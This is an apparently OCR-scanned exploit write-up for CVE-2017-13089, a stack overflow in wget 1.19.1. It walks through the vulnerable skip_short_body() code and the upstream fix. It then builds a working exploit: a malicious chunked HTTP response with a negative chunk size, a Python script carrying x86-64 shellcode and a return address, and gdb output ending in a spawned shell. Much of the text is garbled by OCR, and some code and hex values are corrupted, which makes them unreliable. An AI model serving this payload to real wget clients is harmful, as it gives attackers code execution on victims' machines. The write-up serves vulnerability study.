[CVE-2017-13089] wget 1.19.1 Buffer Overflow
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VoEEIN e wget RAS : 1.19.1

BEmIFLR wget-1.19.1 ¢

$ sudo apt-get install libneon27-gnutls-dev

$ wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
$ tar zxvf wget-1.19.1.tar.gz

$ cd wget-1.19.1

$ ./configure

$ make && sudo make install

$ wget -V | head -ni1

GNU Wget 1.19.1 built on linux-gnu.

5| % BRiRAY payload WIF :


af://n115
af://n133
af://n139

HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Connection: keep-alive

-OXFFFFFDOO
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

0

stack smashing 17 :

$ nc -1p 6666 < payload & wget --debug localhost:6666
[1] 4291
DEBUG output created by Wget 1.19.1 on linux-gnu.

Reading HSTS entries from /home/firmy/.wget-hsts

Converted file name 'index.html' (UTF-8) -> 'index.html' (UTF-8)
--2018-01-30 11:42:32-- http://localhost:6666/

Resolving localhost... 127.0.0.1

Caching localhost => 127.0.0.1

Connecting to localhost|127.0.0.1|:6666... connected.

Created socket 4.

Releasing 0x00000000012f51b0 (new refcount 1).

---request begin---

GET / HTTP/1.1

User-Agent: Wget/1.19.1 (linux-gnu)
Accept: */*

Accept-Encoding: identity

Host: localhost:6666

Connection: Keep-Alive

---request end---

GET / HTTP/1.1

User-Agent: Wget/1.19.1 (linux-gnu)
Accept: */*

Accept-Encoding: identity

Host: localhost:6666

Connection: Keep-Alive

HTTP request sent, awaiting response...



---response begin---

HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Connection: keep-alive

---response end---

401 Not Authorized

Registered socket 4 for persistent reuse.

Skipping -4294966528 bytes of body:
[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASKipping -4294967296
bytes of body: [] aborting (EOF received).

*** gstack smashing detected ***: wget terminated

[1]+ Done nc -lp 6666 < payload

Aborted (core dumped)

i 53 AT

KHEE N skip_short_body()

// src/http.c
static bool
skip_short_body (int fd, wgint contlen, bool chunked)

{
enum {
SKIP_SIZE = 512, /* size of the download buffer */
SKIP_THRESHOLD = 4096 /* the largest size we read */
}

wgint remaining_chunk_size = 0;
char dlbuf[SKIP_SIZE + 1];
d1lbuf[SKIP_SIZE] = '\0'; /* so DEBUGP can safely print it */

/* If the body is too large, it makes more sense to simply close the
connection than to try to read the body. */

if (contlen > SKIP_THRESHOLD)
return false;

while (contlen > 0 || chunked)
{
int ret;
if (chunked)
{
if (remaining_chunk_size == 0)

{


af://n167

char *line = fd_read_line (fd);
char *endl;
if (line == NULL)

break;

remaining_chunk_size = strtol (line, &endl, 16); // #K&E
remaining_chunk_size2& A
xfree (line);

if (remaining_chunk_size == 0)
{
line = fd_read_line (fd);
xfree (line);
break;

contlen = MIN (remaining_chunk_size, SKIP_SIZE); // contlen Ra[{ETE

DEBUGP ( ("Skipping %s bytes of body: [", number_to_static_string (contlen)));

ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1); // 5lki&
if (ret <= 0)
{
/* Don't normally report the error since this is an
optimization that should be invisible to the user. */
DEBUGP ( ("] aborting (%s).\n",
ret < 0 ? fd_errstr (fd) : "EOF received"));
return false;

3

contlen -= ret;

if (chunked)
{
remaining_chunk_size -= ret;
if (remaining_chunk_size == 0)
{
char *line = fd_read_line (fd);
if (1line == NULL)
return false;
else
xfree (line);

/* Safe even if %.*s bogusly expects terminating \0@ because
we've zero-terminated dlbuf above. */
DEBUGP (("%.*s", ret, dlbuf));

DEBUGP (("] done.\n"));

return true;



— R

if (keep_alive && !head_only
&& skip_short_body (sock, contlen, chunked_transfer_encoding))
CLOSE_FINISH (sock);

FRUAZAEHEAEFRENREE , REE contlen HWKERKT 4096 BIER T HIRYRE
chunked_transfer_encoding , ¥fF&# chunked_transfer_encoding BJIZETEREN gethttp() H :

// src/http.c
chunked_transfer_encoding = false;
if (resp_header_copy (resp, "Transfer-Encoding", hdrval, sizeof (hdrval))
&& 0 == c_strcasecmp (hdrval, "chunked"))
chunked_transfer_encoding = true;

M contlen MIME{EJ contlen = MIN (remaining_chunk_size, SKIP_SIZE); , MIN() ZHERIENXWT ,
BFHREMmMEFR /NI —1 -

// src/wget.h
# define MIN(i, j) ((i) <= (j) ? (i) : (j))

% remaining_chunk_size RTAER , E#HEHE/NTF SKIP_SIZE , FTlA contlen 3EPR_LERRIIEAI,

FMEE#EAN fd_read() EREY , M fd 1ZEY bufsize A=F T2 buf  , FESIEEHX iR :

//src/connect.c

/* Read no more than BUFSIZE bytes of data from FD, storing them to
BUF. If TIMEOUT is non-zero, the operation aborts if no data is
received after that many seconds. If TIMEOUT is -1, the value of
opt.timeout is used for TIMEOUT. */

int
fd_read (int fd, char *buf, int bufsize, double timeout)
{
struct transport_info *info;
LAZY_RETRIEVE_INFO (info);
if (!poll_internal (fd, info, WAIT_FOR_READ, timeout))
return -1;
if (info && info->imp->reader)
return info->imp->reader (fd, buf, bufsize, info->ctx);
else
return sock_read (fd, buf, bufsize);

WT

git show d892291fb8ace4c3b734ea5125770989c215df3f | cat

commit d892291fbh8ace4c3b734ea5125770989¢c215df3f


af://n185

Author: Tim RUhsen <tim.ruehsen@gmx.de>
Date: Fri Oct 20 10:59:38 2017 +0200

Fix stack overflow in HTTP protocol handling (CVE-2017-13089)

* src/http.c (skip_short_body): Return error on negative chunk size

Reported-by: Antti Levoméki, Christian Jalio, Joonas Pihlaja from Forcepoint
Reported-by: Juhani Eronen from Finnish National Cyber Security Centre

diff --git a/src/http.c b/src/http.c

index 5536768..dc31823 100644

--- a/src/http.c

+++ b/src/http.c

@@ -973,6 +973,9 @@ skip_short_body (int fd, wgint contlen,

bool chunked)

remaining_chunk_size = strtol (line, &endl, 16);

xfree (1line);

if (remaining_chunk_size < 0)
return false;

if (remaining_chunk_size == 0)

{
line = fd_read_line (fd);

HTHEEE , 2N remaining_chunk_size R&E A REHITT FIBT,

Exploit

EXERHNM—BBINEE, KEN—TEEXH configure.ac , IEHRRIPRAE X , WM LETE

FTREDIX LT

$ cat configure.ac | grep -A4 stack
dnl Disable stack canaries
CFLAGS="-fno-stack-protector $CFLAGS"

dnl Disable No-eXecute
CFLAGS="-z execstack $CFLAGS"

dnl

dnl Create output
dnl

REmIFRE , ERUOTF


af://n190

$ sudo apt-get install automake

$ make && sudo make install

$ pwn checksec /usr/local/bin/wget
[*] '"/usr/local/bin/wget’

Arch: amd64-64-1little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled

PIE3 No PIE (0x400000)
RWX: Has RWX segments

T ETRAUBERT. ATHEWARRLMYE , IERIE payload B9 body #8593 A pattern &{{f= :

$ cat payload

HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Connection: keep-alive

-OXFFFFFDOO

AAA%AASAABAASAANAACAA -

AA(AADAA; AA)AAEAAaAAOAAFAADAATIAAGAACAA2AAHAAJAA3AATAAEAAAAAIAATAASAAKAAGAAGAALAANAATAAMA
A1AABAANAAJAA9AAOAAKAAPAAIAAQAAMAARAAOAASAAPAATAAQAAUAAT AAVAALAAWAAUAAXAAVAAYAAWAAZAAXAA
YAAZA%%A%SA%BA%SA%NA%CAY - A%

(A%DA% ; A% ) A%EA%aA%OA%FA%DA%RLABGCARCA%2 A%HA%AA%IABT A% A%AA%IA%T A%SA%KA%GA%EA%LABNA%T A%MA%L
A%BA%BNA% ] A%IA%OA%KA%BPA%LA%QA%MABRABOA%BSA%PARTA%AABUAYKT A%VA%L A%WARBUABXA%YA%Y A%WABZA%XA%Y A
%zAS%ASSASBASSASNASCAS -

As (AsDAs; As)ASEAsaAsOASFASbAS1ASGASCAS2AsHASAAS3AsIAseAs4As JASTASS5ASKASgASB6ASLAShAs7ASMA
S1AS8ASNASjAS9ASOASKASPASIASQASMASRASOASSASPASTASQASUASTASVAStASWASUASXASVASYASWASZASXAS
0

$ nc -1p 6666 < payload

ES— shell B3zh gdb @i wget :

gdb-peda$ r localhost:6666
gdb-peda$ pattern_offset $ebp
1933668723 found at offset: 560
gdb-peda$ searchmem AAA%AASA
Searching for 'AAA%AAsA' in: None ranges
Found 2 results, display max 2 items:
[heap] : 0x6aad83 ("AAA%AASAABAASAANAACAA-
AA(AADAA; AA)AAEAAaAAGAAFAADAALIAAGAACAA2AAHAAJAASAATAAEAAAAAIAATAASAAKAAGAABAALAANRAATAAMA
A1AABAANAAJAA9AAOAAKAAPAAIAAQAAMAARAAOAASAAPAATAAGAAUAAT AAVAALAAWAAUAAXAAVAAYAAWAAZAAXAA
yA"...)
[stack] : Ox7fffffffcf40 ("AAA%AASAABAASAANAACAA-
AA(AADAA; AA)AAEAAaAAGAAFAADAATAAGAACAA2AAHAADAASAATAAEAALAAIAATAASAAKAAGAABAALAANRAAT AAMA
A1AABAANAAJAA9AAOAAKAAPAAIAAQAAMAARAAOAASAAPAATAAQAAUAAT AAVAALAAWAAUAAXAAVAAYAAWAAZAAXAA

yA"...)

FTEA rsp BUtBHLAI F#5fmiE 568 BUtT5, MikthitiiF ox7fffffffcfio .,

& exp LR paylaod :



payload = """HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Connection: keep-alive

-OXFFFFFDOO

shellcode = "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xFff\xff\x48\x8d\x05"
shellcode += "\xef\Xxff\Xxff\xff\x48\xbb\xc5\xb5\xch\x60\x1e\xba\xbh2"
shellcode += "\x1b\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
shellcode += "\xaf\x8e\x93\xf9\x56\x01\x9d\x79\xac\xdb\xe4\x13\x76"
shellcode += "\xba\xel\x53\x4c\x52\xa3\x4d\x7d\xba\xb2\x53\x4c\x53"
shellcode += "\x99\x88\x16\xba\xb2\x1b\xea\xd7\xa2\x0e\x31\xc9\xda"
shellcode += "\x1b\x93\xe2\x83\xe9\xf8\xbh5\xb7\x1b"

payload += shellcode + (568-len(shellcode)) * "A"
payload += "\X40\XcT\XfFAXFFAXFff\x7f\x00\x00"
payload += "\nO\n"

with open('ppp', 'wb') as f:
f.write(payload)

$ python exp.py
$ nc -1p 6666 < ppp

PLEERA gdb RIRER, 2T strtol() RZURMEAY remaining chunk_size J oxffffffff00000300

gdb-peda$ n

RAX: Oxffffffffooo00300

RBX: 0x468722 --> 0x206T4e0050545448 ('HTTP')

RCX: Oxffffffda

RDX: 0x1

RSI: Oxfffffdoo

RDI: Ox6aafab --> 0xfae98148c931000a

RBP: Ox7fffffffd170 --> ox7fffffffd580 --> Ox7fffffffd8a® --> ox7fffffffdoce -->
ox7fffffffdbdo --> 0x452350 (<__libc_csu_init>: push ris)

RSP: Ox7fffffffcf20 --> Oxffffffffffffffff

RIP: 0x4lefof (<skip_short_body+150>:  mov QWORD PTR [rbp-0x8], rax)
R8 : 0x0

RO : OXFFfffffffffffff

R10: 0Ox0

R11: Ox7ffff74045e0 --> 0x2000200020002

R12: 0x404cal (<_start>: Xxor ebp, ebp)

R13: ox7fffffffdcho --> Ox2

R14: 0Ox0

R15: 0Ox0

EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[ (oo o [ e ]

0x41ef04 <skip_short_body+139>: mov rsi, rcx
0x41ef07 <skip_short_body+142>: mov rdi, rax
0x4lefOa <skip_short_body+145>: call 0x404660 <strtol@plt>



=> Ox41ef0f <skip_short_body+150>: mov QWORD PTR [rbp-0x8], rax
0x41ef13 <skip_short_body+154>: mov rax, QWORD PTR [rbp-0x10]
0x41efl17 <skip_short_body+158>: mov rdi, rax
Ox41lefla <skip_short_body+161>: call 0x404380 <free@plt>
0x41leflf <skip_short_body+166>: mov QWORD PTR [rbp-0x10],0x0

0000| OxX7fffffffcf20 --> OXFfffffffffffffff

0008| Ox7fffffffcf28 --> ox4ffffcfol

0016| Ox7fffffffcf30 --> Ox13

0024| ox7fffffffcf38 --> Ox6aafab --> 0xfae98148c931000a

0032| Ox7fffffffcf40 --> Oxffffffffo0000028

0040| Ox7fffffffcf48 --> Ox7ffff7652540 --> Oxfbad2887

0048| Ox7fffffffcf50 --> ox7fffffffcfcO ("401 Not Authorized\n")
0056 | Ox7fffffffcf58 --> Ox13

Legend: code, data, rodata, value
0x000000000041ef0Of in skip_short_body ()

PRI |, BIAREY fd_read() , FILABRIBA T EGIEAZBRNERESHREET oxffffffffoo000300 A
4 NFT 0x300 , FTLAZEEIGIZAN 0x300 NETHHIERIEMbIE ox7fffffffcfao 9 :

gdb-peda$ n

RAX: 0Ox4
RBX: 0x468722 --> 0x206f4e0050545448 ('HTTP')
RCX: OX7fffffffcf40 --> OxffffffffoOO00028

RDX: 0x300

RSI: Ox7fffffffcf40 --> oxffffffffoo000028

RDI: 0Ox4

RBP: OX7fffffffd1i70 --> ox7fffffffd580 --> ox7fffffffdgad --> Ox7fffffffdoco -->
OX7fffffffdbdo --> 0x452350 (<__libc_csu_init>: push ris)

RSP: Ox7fffffffcf20 --> oxffffffffoo000300
RIP: Ox41efd6 (<skip_short_body+349>: call 0x4062c5 <fd_read>)

R8 : 0Ox0

R9 : 0Ox1

R10: 0Ox0

R11: Ox7ffff74045e0 --> 0x2000200020002

R12: 0x404cab (<_start>: xor ebp, ebp)

R13: Ox7fffffffdcbo --> 0x2

R14: 0Ox0

R15: 0Ox0

EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)

I e (oo o [ e ]
Ox41efc9 <skip_short_body+336>: movsd xmmO,QWORD PTR [rip+0x4aa6f] #

0x469a40

0x41efdl <skip_short_body+344>: mov rsi,rcx
0x41efd4 <skip_short_body+347>: mov edi, eax

=> Ox41efd6 <skip_short_body+349>: call 0x4062c5 <fd_read>
0x41efdb <skip_short_body+354>: mov DWORD PTR [rbp-0x14],eax
Ox41lefde <skip_short_body+357>: cmp DWORD PTR [rbp-0x14],0x0
Ox41efe2 <skip_short_body+361>: jg 0x41f029 <skip_short_body+432>

Ox41lefed <skip_short_body+363>: movzx eax,BYTE PTR [rip+0x269bf0] # 0x688bdb



<opt+571>

Guessed arguments:

arg[0]: 0x4

arg[1]: ox7fffffffcf40 --> oxffffffffooe00028

arg[2]: 0x300

arg[3]: ox7fffffffcf4o --> oxfFfffffffo0000028

I StaCK------ s oo
0000| Ox7fffffffcf20 --> OxFfffffffoOOO0300

8| Ox7fffffffcf28 --> ox4ffffcfol
6| Ox7fffffffcf30 --> Ox13
4| OX7fffffffcf38 --> Ox6aafab --> 0xfae98100007ffff7

2| Ox7fffffffcf40 --> oxffffffffoo000028

0] ox7fffffffcfda8 --> Ox7ffff7652540 --> Oxfbad2887

8| Ox7fffffffcf50 --> ox7fffffffcfcO ("401 Not Authorized\n")
6| Ox7fffffffcf58 --> Ox13

Legend: code, data, rodata, value
0x000000000041efd6 in skip_short_body ()

R IN#kEEZ shellcode , %158 shell

gdb-peda$ n
R registers---------ommm oo
RAX: 0x0
RBX: 0x468722 --> 0x206f4e0050545448 ('HTTP')
RCX: Ox7ffff7384260 (<__read_nocancel+7>: cmp rax, OXfffffffffffffool)
RDX: 0x200
RSI: ox7fffffffcf40 --> Oxfffae98148c93148
RDI: 0Ox4
RBP: 0x4141414141414141 ('AAAAAAAA'")
RSP: Ox7fffffffd178 --> ox7fffffffcf40 --> Oxfffae98148c93148
RIP: 0x41f0ed (<skip_short_body+628>: ret)
R8 : Ox7fffffffcdb® --> Ox383
R9 : 0Ox1
R10: 0Ox0
R11: 0x246
R12: 0x404cal@ (<_start>: Xxor ebp, ebp)
R13: Ox7fffffffdcbho --> 0x2
R14: 0Ox0
R15: Ox0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[ e (oo o [ e
0x41f0e2 <skip_short_body+617>: call 0x42a0f5 <debug_logprintf>
0x41f0e7 <skip_short_body+622>: mov eax, 0x1
0x41f0ec <skip_short_body+627>: leave
> Ox41f0ed <skip_short_body+628>: ret
0x41f0ee <modify_param_name>: push rbp
0x41f0ef <modify_param_name+1>: mov rbp, rsp
0x41f0f2 <modify_param_name+4>: sub rsp, 0x30
0x41f0f6 <modify_param_name+8>: mov QWORD PTR [rbp-0x28], rdi
R e T StaCk------m

0000 | OX7fffffffd1l78 --> Ox7fffffffcf40 --> Oxfffae98148c93148

0008 | OX7fffffffd1l80 --> Oxa300a ('\nd\n')



0016| Ox7fffffffd188 --> 0x0O

0024 | Ox7fffffffd19e --> ox7fffffffdad4 --> Ox0

0032 | Ox7fffffffd198 --> Ox7fffffffd780 --> OxO

0040 | ox7fffffffdliad® --> Ox6a9a00 --> Ox68ach® ("http://localhost:6666/")

0048| ox7fffffffdia8 --> 0x6a9a00 --> Ox68ach® ("http://localhost:6666/")

0056 | Ox7fffffffdibo --> Ox0

[ ______________________________________________________________________________
Legend: code, data, rodata, value

0Xx000000000041f0ed in skip_short_body ()
gdb-peda$ x/20gx Ox7fffffffcf40

Ox7fffffffcf40:
Ox7fffffffcf50:
ox7fffffffcfe60:
OX7Tffffffcf70:
ox7fffffffcf8o:
Ox7fffffffcfoo:
Ox7fffffffcfan:
OX7fffffffcfbo:
OxX7fffffffcfco:
ox7fffffffcfdo:

Oxfffae98148c93148
0x1e60cbb5c5bb48ff
Oxaff4e2fffffffgad
0x4c53elba7613e4db
Oxealbb2bal16889953
0x411bb7b5f8e983e2
0x4141414141414141
0x4141414141414141
0x4141414141414141
0x4141414141414141

Oxffffef058d48ffff
0x48275831481bb2ba
0xac799d015619938e
0x4c53b2ba7d4da352
0x931bdac9310ea2d7
0x4141414141414141
0x4141414141414141
0x4141414141414141
0x4141414141414141
0x4141414141414141

<-- shellcode

Bingo!!!

Starting program: /usr/local/bin/wget localhost:6666
[Thread debugging using libthread_db enabled]

Using host libthread_db library "/1lib/x86_64-1inux-gnu/libthread_db.so.1".
--2018-01-30 15:40:49-- http://localhost:6666/

Resolving localhost... 127.0.0.1

Connecting to localhost|127.0.0.1|:6666... connected.

HTTP request sent, awaiting response... 401 Not Authorized
process 20613 is executing new program: /bin/dash

[New process 20617]

process 20617 is executing new program: /bin/dash

$ whoami

[New process 20618]

process 20618 is executing new program: /usr/bin/whoami
firmy

$ [Inferior 3 (process 20618) exited normally]

Warning: not running or target is remote

EnH

e CVE-2017-13089 Detail
e https://github.com/r1b/CVE-2017-13089
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